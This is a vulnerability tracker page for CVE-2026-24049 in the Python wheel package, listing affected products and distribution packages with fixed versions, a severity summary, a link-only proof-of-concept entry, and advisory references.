Affected products
- pypa wheel
- wheel project wheel
- red hat discovery 2 for rhel 10
- red hat discovery 2 for rhel 8
- red hat discovery 2 for rhel 9
- red hat fence agents remediation operator
- red hat logging subsystem for red hat openshift
- red hat migration toolkit for virtualization
- red hat multicluster engine for kubernetes
- red hat network observability (netobserv) 1.11.0
- red hat openshift lightspeed
- red hat openshift service mesh 2
Show 49 moreShow less
- red hat openshift service mesh 3
- red hat advanced cluster security 4
- red hat ai inference server
- red hat ai inference server 3.2
- red hat ansible automation platform 2
- red hat ansible automation platform 2.5 for rhel 8
- red hat ansible automation platform 2.5 for rhel 9
- red hat ansible automation platform 2.6
- red hat ansible automation platform 2.6 for rhel 9
- red hat ansible automation platform ansible core 2
- red hat ceph storage 8.1
- red hat developer hub 1.8
- red hat discovery 2
- red hat enterprise linux 10
- red hat enterprise linux 10.0 extended update support
- red hat enterprise linux 6
- red hat enterprise linux 7
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat enterprise linux 9.4 extended update support
- red hat enterprise linux 9.6 extended update support
- red hat enterprise linux ai (rhel ai) 3
- red hat openshift ai (rhoai)
- red hat openshift ai 2.25
- red hat openshift ai 3.3
- red hat openshift ai 3.4
- red hat openshift container platform 4
- red hat openshift container platform 4.16
- red hat openshift container platform 4.17
- red hat openshift container platform 4.18
- red hat openshift container platform 4.19
- red hat openshift container platform 4.20
- red hat openshift container platform 4.21
- red hat openshift dev spaces
- red hat openshift dev spaces 3.27
- red hat openstack 1.5
- red hat quay 3
- red hat quay 3.10
- red hat quay 3.12
- red hat quay 3.13
- red hat quay 3.14
- red hat quay 3.15
- red hat quay 3.16
- red hat quay 3.9
- red hat satellite 6
- red hat satellite 6.18
- red hat trusted artifact signer 1.2
- red hat trusted artifact signer 1.3
- red hat service telemetry framework 1.5
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wheelPyPI |
0.40.0 to 0.46.1 | 0.46.2 |
py3-wheelAlpine:v3.22 |
0.40.0 up to 0.46.3-r0 | 0.46.3-r0 |
py3-wheelAlpine:v3.23 |
0.40.0 up to 0.46.3-r0 | 0.46.3-r0 |
py3-wheelAlpine:v3.24 |
0.40.0 up to 0.46.3-r0 | 0.46.3-r0 |
python3-wheelAlmaLinux:10 |
before 1:0.41.2-5.el10_1.1 | 1:0.41.2-5.el10_1.1 |
python3-wheel-wheelAlmaLinux:10 |
before 1:0.41.2-5.el10_1.1 | 1:0.41.2-5.el10_1.1 |
python3.12-wheelAlmaLinux:9 |
before 0.41.2-3.el9_7.1 | 0.41.2-3.el9_7.1 |
python3.12-wheel-wheelAlmaLinux:9 |
before 0.41.2-3.el9_7.1 | 0.41.2-3.el9_7.1 |
python3.12-wheelAlmaLinux:8 |
before 0.41.2-4.el8_10 | 0.41.2-4.el8_10 |
python3.12-wheel-wheelAlmaLinux:8 |
before 0.41.2-4.el8_10 | 0.41.2-4.el8_10 |
Show 142 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python-virtualenvAzure Linux:2 |
through 20.26.6-2 | None known |
python-wheelAzure Linux:3 |
before 0.43.0-2 | 0.43.0-2 |
python-virtualenvAzure Linux:3 |
before 20.36.1-2 | 20.36.1-2 |
py3-wheelAlpaquita:25 |
0.46.1-r0 up to 0.46.2-r0 | 0.46.2-r0 |
py3-wheelAlpaquita:stream |
0.40.0-r1 up to 0.46.2-r0 | 0.46.2-r0 |
py3-wheelBellSoft Hardened Containers:25 |
0.46.1-r0 up to 0.46.2-r0 | 0.46.2-r0 |
py3-wheelBellSoft Hardened Containers:stream |
0.40.0-r1 up to 0.46.2-r0 | 0.46.2-r0 |
wheelDebian:13 |
All versions, plus listed versions 0.46.1-20.46.3-10.46.3-20.47.0-10.47.0-2 |
None known |
wheelDebian:14 |
before 0.46.3-1, plus listed versions 0.46.1-2 |
0.46.3-1 |
wheelPyPI |
0.40.0 up to 0.46.2, plus listed versions 0.41.00.41.10.41.20.41.30.42.0 Show 6 moreShow less0.43.00.44.00.45.00.45.10.46.00.46.1 |
0.46.2 |
python-wheelopenEuler:24.03-LTS |
before 0.40.0-2.oe2403 | 0.40.0-2.oe2403 |
python-wheelopenEuler:24.03-LTS-SP1 |
before 0.40.0-2.oe2403sp1 | 0.40.0-2.oe2403sp1 |
python-wheelopenEuler:24.03-LTS-SP3 |
before 0.40.0-2.oe2403sp3 | 0.40.0-2.oe2403sp3 |
python-wheelopenEuler:24.03-LTS-SP2 |
before 0.40.0-2.oe2403sp2 | 0.40.0-2.oe2403sp2 |
python-wheelRed Hat:enterprise_linux:10.1 |
before 1:0.41.2-5.el10_1.1 | 1:0.41.2-5.el10_1.1 |
python3-wheelRed Hat:enterprise_linux:10.1 |
before 1:0.41.2-5.el10_1.1 | 1:0.41.2-5.el10_1.1 |
python3-wheel-wheelRed Hat:enterprise_linux:10.1 |
before 1:0.41.2-5.el10_1.1 | 1:0.41.2-5.el10_1.1 |
python3.12-wheelRed Hat:enterprise_linux:9::appstream |
before 0:0.41.2-3.el9_7.1 | 0:0.41.2-3.el9_7.1 |
python3.12-wheel-wheelRed Hat:enterprise_linux:9::crb |
before 0:0.41.2-3.el9_7.1 | 0:0.41.2-3.el9_7.1 |
python3.12-wheelRed Hat:enterprise_linux:8::appstream |
before 0:0.41.2-4.el8_10 | 0:0.41.2-4.el8_10 |
python3.12-wheel-wheelRed Hat:enterprise_linux:8::crb |
before 0:0.41.2-4.el8_10 | 0:0.41.2-4.el8_10 |
python3.12-wheelRed Hat:rhel_eus:9.6::appstream |
before 0:0.41.2-3.el9_6.1 | 0:0.41.2-3.el9_6.1 |
python3.12-wheel-wheelRed Hat:rhel_eus:9.6::crb |
before 0:0.41.2-3.el9_6.1 | 0:0.41.2-3.el9_6.1 |
discovery-cliRed Hat:discovery:2::el10 |
before 0:2.4.3-2.el10 | 0:2.4.3-2.el10 |
discovery-cliRed Hat:discovery:2::el8 |
before 0:2.4.3-2.el8 | 0:2.4.3-2.el8 |
discovery-cliRed Hat:discovery:2::el9 |
before 0:2.4.3-2.el9 | 0:2.4.3-2.el9 |
python-wheelRed Hat:enterprise_linux_eus:10.0 |
before 1:0.41.2-5.el10_0.1 | 1:0.41.2-5.el10_0.1 |
python3-wheelRed Hat:enterprise_linux_eus:10.0 |
before 1:0.41.2-5.el10_0.1 | 1:0.41.2-5.el10_0.1 |
python3-wheel-wheelRed Hat:enterprise_linux_eus:10.0 |
before 1:0.41.2-5.el10_0.1 | 1:0.41.2-5.el10_0.1 |
python3.12-wheelRed Hat:rhel_eus:9.4::appstream |
before 0:0.41.2-3.el9_4.1 | 0:0.41.2-3.el9_4.1 |
python3.12-wheel-wheelRed Hat:rhel_eus:9.4::crb |
before 0:0.41.2-3.el9_4.1 | 0:0.41.2-3.el9_4.1 |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:2.6.6-1.el9ap | 0:2.6.6-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.2.28-1.el9ap | 0:4.2.28-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.2.28-1.el9ap | 0:4.2.28-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el10ap | 0:1.6.3-4.el10ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el10ap | 0:1.6.3-4.el10ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el10ap | 0:1.6.3-4.el10ap |
receptorctlRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el10ap | 0:1.6.3-4.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorctlRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:3.13.3-2.el9ap | 0:3.13.3-2.el9ap |
python3.12-aiohttp-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:3.13.3-2.el9ap | 0:3.13.3-2.el9ap |
python3.12-aiohttp-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:3.13.3-2.el9ap | 0:3.13.3-2.el9ap |
python3.12-protobufRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:5.29.6-1.el9ap | 0:5.29.6-1.el9ap |
python3.12-protobuf-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:5.29.6-1.el9ap | 0:5.29.6-1.el9ap |
python3.12-protobuf-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:5.29.6-1.el9ap | 0:5.29.6-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.9-1.el9ap | 0:4.7.9-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.9-1.el9ap | 0:4.7.9-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.9-1.el9ap | 0:4.7.9-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.9-1.el9ap | 0:4.7.9-1.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.9-1.el9ap | 0:4.7.9-1.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.9-1.el9ap | 0:4.7.9-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.9-1.el9ap | 0:4.7.9-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.2.28-1.el8ap | 0:4.2.28-1.el8ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.2.28-1.el8ap | 0:4.2.28-1.el8ap |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.2.28-1.el9ap | 0:4.2.28-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.2.28-1.el9ap | 0:4.2.28-1.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el8ap | 0:1.6.3-4.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:1.6.3-4.el9ap | 0:1.6.3-4.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:3.13.3-2.el8ap | 0:3.13.3-2.el8ap |
python3.12-aiohttp-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:3.13.3-2.el8ap | 0:3.13.3-2.el8ap |
python3.12-aiohttp-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:3.13.3-2.el8ap | 0:3.13.3-2.el8ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:3.13.3-2.el9ap | 0:3.13.3-2.el9ap |
python3.12-aiohttp-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:3.13.3-2.el9ap | 0:3.13.3-2.el9ap |
python3.12-aiohttp-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:3.13.3-2.el9ap | 0:3.13.3-2.el9ap |
python3.12-protobufRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:5.29.6-1.el8ap | 0:5.29.6-1.el8ap |
python3.12-protobuf-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:5.29.6-1.el8ap | 0:5.29.6-1.el8ap |
python3.12-protobuf-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:5.29.6-1.el8ap | 0:5.29.6-1.el8ap |
python3.12-protobufRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:5.29.6-1.el9ap | 0:5.29.6-1.el9ap |
python3.12-protobuf-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:5.29.6-1.el9ap | 0:5.29.6-1.el9ap |
python3.12-protobuf-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:5.29.6-1.el9ap | 0:5.29.6-1.el9ap |
automation-gatewayRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:2.5.20260225-1.el8ap | 0:2.5.20260225-1.el8ap |
automation-gateway-configRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:2.5.20260225-1.el8ap | 0:2.5.20260225-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:2.5.20260225-1.el8ap | 0:2.5.20260225-1.el8ap |
automation-gatewayRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:2.5.20260225-1.el9ap | 0:2.5.20260225-1.el9ap |
automation-gateway-configRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:2.5.20260225-1.el9ap | 0:2.5.20260225-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:2.5.20260225-1.el9ap | 0:2.5.20260225-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el8ap | 0:4.6.26-1.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el8ap | 0:4.6.26-1.el8ap |
automation-controllerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el8ap | 0:4.6.26-1.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el8ap | 0:4.6.26-1.el8ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el8ap | 0:4.6.26-1.el8ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el8ap | 0:4.6.26-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el8ap | 0:4.6.26-1.el8ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el9ap | 0:4.6.26-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el9ap | 0:4.6.26-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el9ap | 0:4.6.26-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el9ap | 0:4.6.26-1.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el9ap | 0:4.6.26-1.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el9ap | 0:4.6.26-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 11 CVEs |
before 0:4.6.26-1.el9ap | 0:4.6.26-1.el9ap |
python-wheelRocky Linux:10 |
before 1:0.41.2-5.el10_1.1 | 1:0.41.2-5.el10_1.1 |
python3.12-wheelRocky Linux:9 |
before 0:0.41.2-3.el9_7.1 | 0:0.41.2-3.el9_7.1 |
python3.12-wheelRocky Linux:8 |
before 0:0.41.2-4.el8_10 | 0:0.41.2-4.el8_10 |
setuptoolsRoot:PyPI |
before 79.0.1+aikido.2 | 79.0.1+aikido.2 |
wheelRoot:PyPI |
before 0.45.1+aikido.5 | 0.45.1+aikido.50.41.1+aikido.10.44.0+aikido.10.45.1+aikido.60.43.0+aikido.1 |
python-wheelSUSE:Linux Enterprise Module for Python 3 15 SP7 |
before 0.42.0-150600.3.3.1 | 0.42.0-150600.3.3.1 |
python-wheelSUSE:Linux Enterprise Server 15 SP6-LTSS |
before 0.42.0-150600.3.3.1 | 0.42.0-150600.3.3.1 |
python-wheelSUSE:Linux Enterprise Server for SAP Applications 15 SP6 |
before 0.42.0-150600.3.3.1 | 0.42.0-150600.3.3.1 |
python-wheelopenSUSE:Leap 15.6 |
before 0.42.0-150600.3.3.1 | 0.42.0-150600.3.3.1 |
python313-wheelSUSE:Linux Enterprise Module for Python 3 15 SP7 |
before 0.44.0-150700.3.3.1 | 0.44.0-150700.3.3.1 |
python-wheelSUSE:Linux Enterprise Module for Public Cloud 15 SP4 |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise Server 15 SP4-LTSS |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise Server 15 SP5-LTSS |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise Server for SAP Applications 15 SP4 |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise Server for SAP Applications 15 SP5 |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelopenSUSE:Leap 15.6 |
before 0.40.0-150400.13.10.1 | 0.40.0-150400.13.10.1 |
python-wheelSUSE:Linux Enterprise Server 16.0 |
before 0.45.1-160000.3.1 | 0.45.1-160000.3.1 |
python-wheelSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 0.45.1-160000.3.1 | 0.45.1-160000.3.1 |
python-pipUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 1.4.1-21.5.4-11.5.4-1ubuntu11.5.4-1ubuntu31.5.4-1ubuntu4 Show 5 moreShow less1.5.4-1ubuntu4+esm11.5.4-1ubuntu4+esm21.5.4-1ubuntu4+esm31.5.4-1ubuntu4+esm41.5.4-1ubuntu4+esm5 |
None known |
python-pipUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.5.6-7ubuntu11.5.6-7ubuntu28.0.2-78.0.3-18.0.3-2 Show 17 moreShow less8.1.0-18.1.0-28.1.1-18.1.1-28.1.1-2ubuntu0.18.1.1-2ubuntu0.28.1.1-2ubuntu0.48.1.1-2ubuntu0.68.1.1-2ubuntu0.6+esm28.1.1-2ubuntu0.6+esm38.1.1-2ubuntu0.6+esm48.1.1-2ubuntu0.6+esm58.1.1-2ubuntu0.6+esm68.1.1-2ubuntu0.6+esm88.1.1-2ubuntu0.6+esm108.1.1-2ubuntu0.6+esm118.1.1-2ubuntu0.6+esm12 |
None known |
python-pipUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 9.0.1-29.0.1-2.3~ubuntu19.0.1-2.3~ubuntu1.18.04.19.0.1-2.3~ubuntu1.18.04.29.0.1-2.3~ubuntu1.18.04.3 Show 15 moreShow less9.0.1-2.3~ubuntu1.18.04.49.0.1-2.3~ubuntu1.18.04.59.0.1-2.3~ubuntu1.18.04.5+esm29.0.1-2.3~ubuntu1.18.04.5+esm39.0.1-2.3~ubuntu1.18.04.69.0.1-2.3~ubuntu1.18.04.6+esm19.0.1-2.3~ubuntu1.18.04.79.0.1-2.3~ubuntu1.18.04.7+esm19.0.1-2.3~ubuntu1.18.04.89.0.1-2.3~ubuntu1.18.04.8+esm19.0.1-2.3~ubuntu1.18.04.8+esm29.0.1-2.3~ubuntu1.18.04.8+esm49.0.1-2.3~ubuntu1.18.04.8+esm69.0.1-2.3~ubuntu1.18.04.8+esm79.0.1-2.3~ubuntu1.18.04.8+esm8 |
None known |
python-pipUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 18.1-518.1-5build118.1-5ubuntu120.0.2-220.0.2-4 Show 16 moreShow less20.0.2-520.0.2-5ubuntu120.0.2-5ubuntu1.120.0.2-5ubuntu1.320.0.2-5ubuntu1.420.0.2-5ubuntu1.520.0.2-5ubuntu1.620.0.2-5ubuntu1.720.0.2-5ubuntu1.820.0.2-5ubuntu1.920.0.2-5ubuntu1.1020.0.2-5ubuntu1.10+esm220.0.2-5ubuntu1.1120.0.2-5ubuntu1.11+esm220.0.2-5ubuntu1.11+esm320.0.2-5ubuntu1.11+esm4 |
None known |
wheelUbuntu:Pro:24.04:LTS |
before 0.42.0-2ubuntu0.1~esm1, plus listed versions 0.41.0-20.41.2-10.42.0-10.42.0-2 |
0.42.0-2ubuntu0.1~esm1 |
python-pipUbuntu:25.10 |
All versions, plus listed versions 25.0+dfsg-125.1.1+dfsg-125.1.1+dfsg-1ubuntu125.1.1+dfsg-1ubuntu2 |
None known |
wheelUbuntu:25.10 |
All versions, plus listed versions 0.45.1-10.46.1-2 |
None known |
python-wheelopenSUSE:Tumbleweed |
before 0.46.3-1.1 | 0.46.3-1.1 |
python-wheelopenSUSE:Leap 16.0 |
before 0.45.1-160000.3.1 | 0.45.1-160000.3.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | kriskimmerle/wheelaudit | 2026-02-05 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-24049 is a high vulnerability (CVSS 7.1) in Pypa Wheel, published January 22, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 28th percentile. Fixed in wheel 0.46.2.
References
github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx
github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef
github.com/pypa/wheel/releases/tag/0.46.2
access.redhat.com/security/cve/CVE-2026-24049
bugzilla.redhat.com/show_bug.cgi?id=2431959
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24049.json
Show 158 moreShow less
access.redhat.com/errata/RHSA-2026:2823
access.redhat.com/errata/RHSA-2026:3959
access.redhat.com/errata/RHSA-2026:3958
access.redhat.com/errata/RHSA-2026:2090
access.redhat.com/errata/RHSA-2026:2866
access.redhat.com/errata/RHSA-2026:2710
access.redhat.com/errata/RHSA-2026:1939
access.redhat.com/errata/RHSA-2026:2865
access.redhat.com/errata/RHSA-2026:1902
access.redhat.com/errata/RHSA-2026:2900
access.redhat.com/errata/RHSA-2026:61628
access.redhat.com/errata/RHSA-2026:3461
access.redhat.com/errata/RHSA-2026:3462
access.redhat.com/errata/RHSA-2026:3960
access.redhat.com/errata/RHSA-2026:13545
access.redhat.com/errata/RHSA-2026:62115
access.redhat.com/errata/RHSA-2026:2675
access.redhat.com/errata/RHSA-2026:2694
access.redhat.com/errata/RHSA-2026:10184
access.redhat.com/errata/RHSA-2026:2695
access.redhat.com/errata/RHSA-2026:2106
access.redhat.com/errata/RHSA-2026:3782
access.redhat.com/errata/RHSA-2026:19712
access.redhat.com/errata/RHSA-2026:3713
access.redhat.com/errata/RHSA-2026:5119
access.redhat.com/errata/RHSA-2026:20089
access.redhat.com/errata/RHSA-2026:17599
access.redhat.com/errata/RHSA-2026:6555
access.redhat.com/errata/RHSA-2026:7250
access.redhat.com/errata/RHSA-2026:6565
access.redhat.com/errata/RHSA-2026:6562
access.redhat.com/errata/RHSA-2026:6192
access.redhat.com/errata/RHSA-2026:14020
access.redhat.com/errata/RHSA-2026:2762
access.redhat.com/errata/RHSA-2026:4942
access.redhat.com/errata/RHSA-2026:4185
access.redhat.com/errata/RHSA-2026:4215
access.redhat.com/errata/RHSA-2026:1942
access.redhat.com/errata/RHSA-2026:2681
access.redhat.com/errata/RHSA-2026:2754
access.redhat.com/errata/RHSA-2026:1504
access.redhat.com/errata/RHSA-2026:2925
access.redhat.com/errata/RHSA-2026:4271
access.redhat.com/errata/RHSA-2026:2139
nvd.nist.gov/vuln/detail/CVE-2026-24049
github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e
github.com/advisories/GHSA-8rrh-rw8j-w5fx
security.alpinelinux.org/vuln/CVE-2026-24049
bugzilla.redhat.com/2431959
errata.almalinux.org/10/ALSA-2026-1902.html
errata.almalinux.org/9/ALSA-2026-1939.html
errata.almalinux.org/8/ALSA-2026-2090.html
docs.bell-sw.com/security/cves/CVE-2026-24049
github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24049.json
security-tracker.debian.org/tracker/CVE-2026-24049
github.com/pypa/wheel
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-1279
